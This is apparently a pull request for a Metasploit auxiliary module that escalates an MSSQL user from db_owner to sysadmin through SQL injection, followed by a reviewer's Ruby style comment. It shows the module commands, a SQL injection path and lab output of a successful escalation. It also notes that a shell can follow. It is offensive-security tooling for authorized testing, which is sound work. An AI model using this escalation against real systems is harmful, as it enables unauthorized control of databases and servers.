Added module mssql_escalate_dbowner_sqli

Added mssql_escalate_dbowner_sqli module.  This module can be used to escalate privileges to sysadmin via SQL injection if the user has the db_owner role in a trustworthy database owned by a sysadmin user. Once the user has the sysadmin role the mssql_payload_sqli module can be used to obtain a shell on the system. 

Lab Setup and Test Guide
https://github.com/nullbind/Metasploit-Modules/blob/master/mssql_escalate_dbowner_sqli_lab_guide.txt

Example Output:
<pre>
use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
set GET_PATH  /testing.asp?id=1+and+1=[SQLi];--
set rhost 10.2.9.101

msf auxiliary(mssql_escalate_dbowner_sqli) > run

[*] Grabbing the database user name from 10.2.9.101:80...
[+] Database user: MyAppUser
[*] Checking if MyAppUser is already a sysadmin...
[+] MyAppUser is NOT a sysadmin, let's try to escalate privileges.
[*] Checking for trusted databases owned by sysadmins...
[+] 1 affected database(s) were found:
[*]  - LVADB
[*] Checking if MyAppUser has the db_owner role in any of them...
[+] MyAppUser has the db_owner role on LVADB.
[*] Attempting to add MyAppUser to sysadmin role...
[+] Success! MyAppUser is now a sysadmin!
[*] Auxiliary module execution completed

msf auxiliary(mssql_escalate_dbowner_sqli) > run

[*] Grabbing the database user name from 10.2.9.101:80...
[+] Database user: MyAppUser
[*] Checking if MyAppUser is already a sysadmin...
[+] MyAppUser is already a sysadmin, no esclation needed.
[*] Auxiliary module execution completed
msf auxiliary(mssql_escalate_dbowner_sqli) > 
</pre>
related to the last comment, I don't think you are actually using the integer value (or don't need to), rather this can just be boolean, which will simplify many of your conditional checks elsewhere.  You also don't need the 'return' keyword if it's the last thing in the method so maybe, assuming 0 == sysadmin:

```
parsed_result == 0 ? true : false # ternary returning true if result is 0.  Change to 1 if I got the check backwards
# and since this will be the last thing in the method, no need to return it explicilty
```